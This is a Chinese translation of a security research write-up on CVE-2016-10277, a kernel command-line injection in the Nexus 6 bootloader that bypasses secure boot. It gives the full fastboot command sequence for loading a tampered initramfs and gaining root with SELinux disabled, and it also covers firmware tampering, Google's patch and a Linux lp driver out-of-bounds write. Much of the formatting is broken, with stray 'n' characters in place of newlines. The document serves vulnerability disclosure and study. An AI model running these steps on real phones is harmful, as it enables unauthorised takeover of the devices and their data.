藉助內核命令行注入繞過Nexus 6安全引導

02-04

在2017年5月的Android安全公告中，Google發布了一個用於修復CVE- 2016-10277的補丁。

利用此漏洞，攻擊者可以對具有ADB/ fastbootUSB訪問許可權（啟動載入程序鎖定）的設備進行破壞，允許他獲得無限制的root許可權，並通過載入篡改或惡意圖像來完全擁有用戶空間initramfs。此外，這種利用不會導致設備恢復出廠設置，因此用戶數據仍會保持不變（並且仍然加密）。

在這項研究中，我們還發現了一個已經有18年的的Linux內核bug（不影響Nexus 6，可能也不會影響任何Android設備）：CVE-2017-1000363

2017年1月，我們披露了一個高危的漏洞CVE-2016-8467，它主要影響Nexus 6 / 6P，允許攻擊者更改設備的引導模式，從而訪問隱藏的USB介面。這是通過一個fastboot命令完成的，例如fastboot oem config bootmode bp-tools導致bootloader更改androidboot.mode內核命令行中的參數的命令。Google已經通過加固引導程序來修復了此問題 – 鎖定的引導載入程序不再允許使用自定義引導模式引導。然而就在Google發布補丁之前，我們又發現了在Nexus 6上繞過它的方法

漏洞：內核命令行注入（CVE-2016-10277）

Nexus 6的引導載入程序包含幾個可以通過該fastboot界面控制的參數，即使引導載入程序被鎖定：

$ fastboot oem confign[...]n(bootloader) <UTAG name="battery" protected="false">(bootloader) <value>(bootloader) </value>(bootloader) <description>(bootloader) Battery detection controln(bootloader) ("meter_lock" or "no_eprom")n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="bootmode" protected="false">(bootloader) <value>(bootloader) </value>(bootloader) <description>(bootloader) To force certain bootmoden(bootloader) (valid values are "fastboot", "factory", "bp-tools", "qn(bootloader) com", and "on-device-diag")n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="carrier" protected="false">(bootloader) <value>(bootloader) </value>(bootloader) <description>(bootloader) Carrier IDs, see http://goo.gl/lojLh3n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="console" type="str" protected="false">(bootloader) <value>(bootloader) </value>(bootloader) <description>(bootloader) Config kernel console logn(bootloader) enable|true - enable with default settingsn(bootloader) disable|false - disablen(bootloader) <config string> - enable with customized settingsn(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="fsg-id" type="str" protected="false">(bootloader) <value>(bootloader) </value>(bootloader) <description>(bootloader) FSG IDs, see http://goo.gl/gPmhUn(bootloader) </description>(bootloader) </UTAG>OKAY [ 0.048s]nfinished. total time: 0.048sn

fsg-id，carrier以及console參數可以包含任意值（儘管具有受限大小），這最終傳播到內核命令行。可以通過發出以下命令來證明：

$ fastboot oem config console foon$ fastboot oem config fsg-id barn$ fastboot oem config carrier bazn

然後檢查內核命令行：

shamu:/ $ dmesg | grep commandn[ 0.000000] Kernel command line: console=foo,115200,n8 earlyprintk nandroidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37nehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utagsnutags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8Mnvmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97nandroidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117nandroidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0nandroidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=rebootnandroidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=barandroidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EBnandroidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0nandroidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard<n

現在，如果引導程序沒有清理這些參數，那麼我們就可以傳遞任意的內核命令行參數：

$ fastboot oem config console "a androidboot.foo=0 "n$ fastboot oem config fsg-id "a androidboot.bar=1"n$ fastboot oem config carrier "a androidboot.baz=2"n

看起來確實是這樣：

shamu:/ $ dmesg | grep commandn[ 0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk nandroidboot.console=a androidboot.foo=0 androidboot.hardware=shamu msm_rtb.filter=0x37nehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utagsnutags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8Mnvmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97nandroidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117nandroidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0nandroidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=rebootnandroidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EBnandroidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0nandroidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard<n

可以看到，我們設法設置了任意ro.boot屬性：

shamu:/ $ getprop ro.boot.foon0nshamu:/ $ getprop ro.boot.barn1nshamu:/ $ getprop ro.boot.bazn2nshamu:/ $n

結果顯而易見：繞過了CVE-2016-8467的補丁。在這裡，繞過CVE-2016-8467的補丁是微不足道的：

$ fastboot oem config console "a androidboot.mode=bp-tools "n[...]n(bootloader) <UTAG name="conolse" type="str" protected="false">(bootloader) <value>(bootloader) a androidboot.mode=bp-toolsn(bootloader) </value>(bootloader) <description>(bootloader) Carrier IDs, see http://goo.gl/lojLh3n(bootloader) </description>(bootloader) </UTAG>[...]n

事實上

shamu:/ $ getprop ro.boot.modenbp-toolsnshamu:/ $n

請注意，我們必須更改參數console才能幹掉androidboot.mode引導載入程序插入的真實參數。（處理該init進程的內核cmdline的代碼是core/init/init.cpp!import_kernel_nv。）但是，通過在命令行中插入任意的args，我們可以改變引導模式嗎？

一個全新的攻擊面

內核命令行由整個操作系統的多個實體使用，包括：

在內核代碼中，通過__setup宏

在內核代碼中，通過early_param宏
在內核模塊代碼中，通過module_param*宏
在內核模塊代碼中，通過core_param宏
在用戶空間（例如init，見上文）

如果不是幾百個而是有幾十個這些宏的使用，那麼任何通過控制它們引入的功能或bug都可以被利用我們現在馬上就會看到，其已經能夠控制一個單一的參數讓我們的安全啟動失敗。

在Nexus 6中安全啟動

高通MSM設備（如摩托羅拉Nexus 6）的引導過程（簡要地說是如下）：

[Primary Bootloader (PBL)]`-. [Secondary Bootloader (SBL)]n `-. [Applications Bootloader (ABOOT)]n `-. n [{boot,recovery}.img]n |-- Linux Kerneln `-- initramfsn `-. [system.img]n

在當設備充電時，PBL的生效來自於ROM。然後載入數字簽名SBL的內存，並驗證其真實性。在SBL載入數字簽名ABOOT（實現fastboot介面），並再次驗證其真實性。簽名的證書SBL並ABOOT具有固定在硬體中的根證書。

ABOOT接下來驗證的是boot或recovery圖像的真實性，載入Linux內核和initramfs從引導或恢復圖像在固定的物理地址（0x8000＆0x2000000中的Nexus 6）。initramfs是在Linux內核初始化期間cpio載入到rootfs（載入的RAM 文件系統）中的（gzip壓縮）歸檔文件。它包含init二進位，第一個用戶的pace process.。

bootloader（ABOOT）為位於物理地址initramfs的設備樹Blob（DTB）中的Linux內核準備了內核命令行和參數0x1e00000，可以通過將內存轉儲DTB到磁碟來確認，然後解析fdtdump：

[...]nlinux,initrd-end = <0x02172814>;nlinux,initrd-start = <0x02000000>;nbootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 nutags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M nvmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdmn[...]n

bootloader然後將執行轉移到Linux內核。

Linux內核初始化：從ABOOT到初始化

Linux內核函數通過分析給出的參數ABOOT中DTB的early_init_dt_scan_chosen。在arm內核中，它最終稱之為具體的功能：

void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end){nphys_initrd_start = start;nphys_initrd_size = end - start;}n

所定址的物理存儲器phys_initrd_start會通過以下代碼映射到虛擬地址空間中：

void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc){[...]nif (phys_initrd_size) {nmemblock_reserve(phys_initrd_start, phys_initrd_size);n/* Now convert initrd to virtual addresses */ninitrd_start = __phys_to_virt(phys_initrd_start);ninitrd_end = initrd_start + phys_initrd_size;n}[...]}n

將initramfs被分解到rootfs下一個：

static int __init populate_initramfs(void){[...]n if (initrd_start) {#ifdef CONFIG_BLK_DEV_RAMint fd; nerr = unpack_to_initramfs((char *)initrd_start,ninitrd_end - initrd_start);nif (!err) {nfree_initrd();ngoto done;n} else {nclean_initramfs();nunpack_to_initramfs(__initramfs_start, __initramfs_size);n}[...]n }n return 0;}initramfs_initcall(populate_initramfs);n

最終kernel_init調用函數，執行第一個用戶空間進程：/init。

static int __ref kernel_init(void *unused){[...]nif (ramdisk_execute_command) {nif (!run_init_process(ramdisk_execute_command))nreturn 0;npr_err("Failed to execute %sn", ramdisk_execute_command);n}[...]}n

初始化用戶空間以及dm-verity

init負責提高用戶空間。其職責就是設置SELinux（載入其策略等）。一旦載入策略，它將在kernel域中，但是在SELinux初始化代碼完成之後不久，它將自身轉移到init域中。請注意，在產品版本中，即使內核載入了非enforcingSELinux（可以通過附加androidboot.selinux=permissive到內核命令行來完成），init也將會重新執行：

static void selinux_initialize(bool in_kernel_domain) {[...]n if (in_kernel_domain) {n INFO("Loading SELinux policy...n");[...]n bool kernel_enforcing = (security_getenforce() == 1);n bool is_enforcing = selinux_is_enforcing();n if (kernel_enforcing != is_enforcing) {n if (security_setenforce(is_enforcing)) {n ERROR("security_setenforce(%s) failed: %sn",n is_enforcing ? "true" : "false", strerror(errno));n security_failure();n }n }[...]n }}n

（在過程中，selinux_is_enforce()總是返回true。）。

init也會觸發分區掛載。dm-verity後來system使用存儲在initramfs（/verity_key）下的公鑰驗證相關分區的完整性（例如） – 不受信任的initramfs意味著不可信system分區。

那麼給定內核命令行注入漏洞的攻擊者怎麼能干擾上述引導過程呢？

失敗的嘗試：控制ramdisk_execute_command

原來，有一個內核命令行參數rdinit覆蓋/init，默認值為：

static int __init rdinit_setup(char *str){nunsigned int i;nramdisk_execute_command = str;n/* See "auto" comment in init_setup */nfor (i = 1; i < MAX_INIT_ARGS; i++)nargv_init[i] = NULL;nreturn 1;}__setup("rdinit=", rdinit_setup);n

通過利用我們的漏洞這看起來很有希望的—導致內核執行任意的用戶空間進程，例如fastboot oem config carrier "a rdinit=/sbin/foo"。但我們遇到的主要挑戰來自於是Nexus 6 initramfs包含非常有限的二進位文件從而導致出現了控制rdinit無效的事實：

$ ls -la sbinnadbd healthd slideshow ueventd watchdogdn

即使其中一個可能具有一些潛力（例如adbd），在執行點的用戶空間也未被初始化，因此它們可能由於相關的依賴關係不能滿足而失敗。鑒於上述相當大的攻擊面，我們決定將其轉移到我們可以控制的下一個命令行參數，但是這些二進位文件的進一步分析可能證明它們是有用的。

控制initramfs物理載入地址

有趣的是，我們已經意識到，arm也可以通過內核命令行參數來控制內核載入initrd的物理地址initramfs！

arch/arm/mm/init.c之下：

static int __init early_initrd(char *p){nunsigned long start, size;nchar *endp;nstart = memparse(p, &endp);nif (*endp == ,) {nsize = memparse(endp + 1, NULL);nphys_initrd_start = start;nphys_initrd_size = size;n}nreturn 0;}early_param("initrd", early_initrd);n

這將覆蓋所提供的預設值ABOOT的DTB。然後我們用一個隨機值來測試它，期望內核崩潰：

$ fastboot oem config fsg-id "a initrd=0x33333333,1024"[...]n(bootloader) <UTAG name="fsg-id" type="str" protected="false">n(bootloader) <value>n(bootloader) a initrd=0x33333333,1024n(bootloader) </value>n(bootloader) <description>n(bootloader) FSG IDs, see http://goo.gl/gPmhUn(bootloader) </description>n(bootloader) </UTAG>nOKAY [ 0.016s]nfinished. total time: 0.016s$ fastboot continuen

它居然真的崩潰了！

這種攻擊類似於在內存損壞bug中控制指令指針（IP寄存器）或程序計數器（PC寄存器），因此在這種情況下，首先要做的是將我們自己篡改的initramfs歸檔載入到設備內存中的fastboot。

請注意，Linux內核不會重新驗證其真實性initramfs，它依賴於引導程序來執行此操作，因此，如果我們設法篡改initramfs受控的phys_initrd_start物理地址，內核將會將其填充到rootfs。

通過USB將任意數據載入到內存中

ABOOT的fastboot提供經由USB下載機制，其支持諸如閃爍。下載功能即使在鎖定的引導載入程序中也可用，因此攻擊者可以使用此功能來載入initramfs設備上的篡改。我們唯一的希望是，引導載入程序和內核清零/覆蓋之前的數據initramfs被填充rootfs。為了驗證，我們進行了以下實驗。首先，我們msm-shamu使用可載入內核模塊（LKM）來安裝我們自己的內核。然後，我們通過fastboot以下方式向設備上傳了一個大型的BLOB 0123456789ABCDEFALEFALEFALEF…：

$ fastboot flash aleph payload.bin[...]ntarget reported max download size of 536870912 bytesnsending aleph (524288 KB)...nOKAY [ 62.610s]nwriting aleph...n(bootloader) Not allowed in LOCKED state!nFAILED (remote failure)nfinished. total time: 62.630sn

請注意，失敗的消息是由於閃爍的嘗試，但是，數據無論如何都是由設備來下載。

我們引導了平台使用fastboot continue，然後用LiMELKM（一個很棒的工具！）來轉儲整個物理內存，尋找我們的blob：

10FFFFC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................n10FFFFD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................n10FFFFE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................n10FFFFF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................n11000000 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 0123456789ABCDEFn11000010 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEFn11000020 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEFn11000030 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEFn11000040 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEFn11000050 41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46 ALEFALEFALEFALEFn

這給了我們非常好的保證，因為即使平台運行，我們的有效載荷也能存活下來。我們已經重複了這個過程幾次，沒有出現任何其他隨機現象 – 有效載荷總是載入在0x11000000Linux內核上！

出於好奇，我們也偷偷地驗證了這個結果。事實證明，Nexus 6所基於的小內核（LK）指定了SCRATCH_ADDR作為下載數據所在的存儲區域。載入ABOOT二進位IDA確認（函數重命名為可讀性）：

int fastboot_mode(){[...]n dprintf(1, "Entering fastboot moden");[...]n v8 = return11000000();n v9 = return20000000();n fastboot_init(v8, v9);n v11 = sub_FF2EA94(v10);n if ( v13 != v10021C84 )n sub_FF3D784();n return sub_FF15BA4(v11);}signed int return11000000(){n signed int result; // r0@1n result = 0x11000000;n if ( v10021C84 != v10021C84 )n sub_FF3D784();n return result;}n

該值最終由下載處理程序ABOOT所消耗。

總而言之，在initramfs存檔從內存填充到rootfs以下之前，我們具有以下物理內存布局：

.-------------------.------------------------------.-----------.n| Physical Address | What | Loaded by |n|-------------------|------------------------------|-----------|n| 0x00008000 | Linux Kernel | ABOOT |n| 0x01E00000 | Device Tree Blob (DTB) | ABOOT |n| 0x02000000 | Verified initramfs | ABOOT |n| 0x11000000 | Tampered initramfs (payload) | Adversary |n`------------------------------------------------------------n

現在我們已經完成了，現在我們可以把initramfs它們固定在一個固定的地址上，然後指示內核填充它。

創建惡意的initramfs

最後一步是創造我們自己的惡意initramfs。只需編譯一個userdebug AOSP引導映像，並將initramfs.cpio.gz文件從該文件中刪除，因為它包含su域和根目錄adbd。唯一的警告是dm-verity無法驗證官方system分區（因為AOSP引導映像將包含調試verity_key）。無論如何，由於我們現在可以載入惡意軟體initramfs，因此可以通過編輯fstab文件（刪除驗證）輕鬆地繞過這種煩惱，或者從正式的相關版本來對verity_key進行替換調試。

我們現在擁有需要的一切：一個惡意的initramfs檔案。

我們可以使用引導載入程序fastboot介面將其載入到固定物理地址的內存中。

我們可以指揮Linux內核從該地址填充它。在安全啟動方面，我們現在有以下破壞的（dis）信任鏈接：

[Primary Bootloader (PBL)]`-. [Secondary Bootloader (SBL)]n `-. [Applications Bootloader (ABOOT)]n `-. n [{boot,recovery}.img]n |-- Linux Kerneln `-- initramfs <- Controlled by Attacker in Memoryn `-. [system.img] <- Cannot be Trustedn

接下來所展現的就是一次成功的攻擊：

$ adb shellshamu:/ $ idnuid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0nshamu:/ $ getenforcenEnforcingnshamu:/ $ setenforce permissivensetenforce: Couldnt set enforcing status to permissive: Permission deniednshamu:/ $ reboot bootloader$ fastboot getvar unlocked[...]nunlocked: nonfinished. total time: 0.008s$ fastboot oem config fsg-id "a initrd=0x11000000,1518172"[...]n(bootloader) <UTAG name="fsg-id" type="str" protected="false">n(bootloader) <value>n(bootloader) a initrd=0x11000000,1518172n(bootloader) </value>n(bootloader) <description>n(bootloader) FSG IDs, see http://goo.gl/gPmhUn(bootloader) </description>n(bootloader) </UTAG>nOKAY [ 0.016s]nfinished. total time: 0.016s$ fastboot flash aleph malicious.cpio.gz[...]ntarget reported max download size of 536870912 bytesnsending aleph (1482 KB)...nOKAY [ 0.050s]nwriting aleph...n(bootloader) Not allowed in LOCKED state!nFAILED (remote failure)nfinished. total time: 0.054s$ fastboot continue[...]nresuming boot...nOKAY [ 0.007s]nfinished. total time: 0.007s$ adb shellshamu:/ # idnuid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0nshamu:/ # getenforcenEnforcingnshamu:/ # setenforce permissivenshamu:/ # getenforcenPermissivenshamu:/ #n

超越initramfs：固件注入

現在我們已經完全控制了rootfs，我們還可以創建一個惡意的/vendor文件夾，通常包含板上可用的各種SoC的固件映像：

shamu:/ # ls /vendor/firmwarenVRGain.bin adsp.b03 adsp.b11 bcm20795_firmware.ncd left.boost.music.eq left.boost_n1b12.patch right.boost.ringtone.eq right.boost_ringtone_table.preset venus.mdtna420_pfp.fw adsp.b04 adsp.b12 bcm4354A2.hcd left.boost.ringtone.config left.boost_n1c2.patch right.boost.speaker right.boost_voice_table.preset widevine.b00na420_pm4.fw adsp.b05 adsp.mdt cy8c20247_24lkxi.hex left.boost.ringtone.eq left.boost_ringtone_table.preset right.boost.voice.config venus.b00 widevine.b01nacdb.mbn adsp.b06 aonvr1.bin fw_bcmdhd.bin left.boost.speaker left.boost_voice_table.preset right.boost.voice.eq venus.b01 widevine.b02nadsp.b00 adsp.b07 aonvr2.bin fw_bcmdhd_apsta.bin left.boost.voice.config right.boost.music.config right.boost_music_table.preset venus.b02 widevine.b03nadsp.b01 adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster left.boost.voice.eq right.boost.music.eq right.boost_n1b12.patch venus.b03 widevine.mdtnadsp.b02 adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config right.boost_n1c2.patch venus.b04n

內核驅動程序通常在初始化時消耗這些映像，如果需要，可更新其SoC對等體。因此，攻擊者可能會閃爍未簽名的固件映像。我們還沒有檢查是否有這樣的，但是從我們與其他設備的經驗來看是有。對於簽名的，降級攻擊也是可能的。此外，數據機固件位於/firmware/image，我們也可以進行改變來進行理論上類似的攻擊（見下文）。再次，我們還沒有驗證是否存在什麼樣的誠信檢查，也沒有驗證是否容易受到降級攻擊的威脅，留在未來的研究中。

shamu:/ # umount -f /firmwarenshamu:/ # mount /dev/block/mmcblk0p1 /firmware -o rwnshamu:/ # ls /firmware/imagenacdb.mbn bdwlan20.bin cmnlib.b03 efs1.bin isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03 qwlan11.bin sampleapp.b00 sampleapp.mdt securemm.b01 tqs.b00 tqs.mdt utf20.binnapps_9225.mbn.gz cmnlib.b00 cmnlib.mdt efs2.bin isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00 prov.mdt qwlan20.bin sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gznapps_9625.mbn.gz cmnlib.b01 dsp2_9225.mbn.gz efs3.bin isdbtmm.b03 otp11.bin playready.b02 prov.b01 qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gznbdwlan11.bin cmnlib.b02 dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin playready.b03 prov.b02 qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00 securemm.mdt tqs.b03 utf11.binnshamu:/ # echo foo > /firmware/image/foonshamu:/ # cat /firmware/image/foonfoon

Google的補丁

Google針對此漏洞的補丁可在「 2017年5月公告」中找到。Bootloader的版本moto-apq8084-72.03允許N6F27C現在進行對fsg-id，carrier以及console的清理並配置參數：

$ fastboot oem config fsg-id "foo foo=1"n[...]n$ fastboot oem config carrier "bar bar=1"n[...]n$ fastboot oem config carrier "baz baz=1"n[...]n$ fastboot oem confign[android@aosp:/aosp/source/android-7.1.1_r40]$ fastboot oem confign[...]n(bootloader) <UTAG name="carrier" type="str" protected="false">(bootloader) <value>(bootloader) barn(bootloader) </value>(bootloader) <description>(bootloader) Carrier IDs, see http://goo.gl/lojLh3n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="console" type="str" protected="false">(bootloader) <value>(bootloader) bazn(bootloader) </value>(bootloader) <description>(bootloader) Config kernel console logn(bootloader) enable|true - enable with default settingsn(bootloader) disable|false - disablen(bootloader) <config string> - enable with customized settingsn(bootloader) (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")n(bootloader) </description>(bootloader) </UTAG>(bootloader) <UTAG name="fsg-id" type="str" protected="false">(bootloader) <value>(bootloader) foon(bootloader) </value>(bootloader) <description>(bootloader) FSG IDs, see http://goo.gl/gPmhUn(bootloader) </description>(bootloader) </UTAG>]n

軼事：Linux內核超出寫入（CVE-2017-1000363）

在這項研究的工作中，我們還發現了一個年代久遠的（從2.2.0！）Out-of-Bounds寫入Linux內核漏洞CVE-2017-1000363。該漏洞在lp驅動程序中（因此CONFIG_PRINTER=y是必需的），並且當許多lp=none參數附加到內核命令行時被觸發：

static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC };[...]#ifndef MODULEstatic int __init lp_setup (char *str){nstatic int parport_ptr;[...]n} else if (!strcmp(str, "none")) {nparport_nr[parport_ptr++] = LP_PARPORT_NONE;n} [...]}#endif[...]__setup("lp=", lp_setup);n

本文翻譯自：initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection，如若轉載，請註明來源於嘶吼：t藉助內核命令行注入繞過Nexus 6安全引導更多內容請關注「嘶吼專業版」——Pro4hou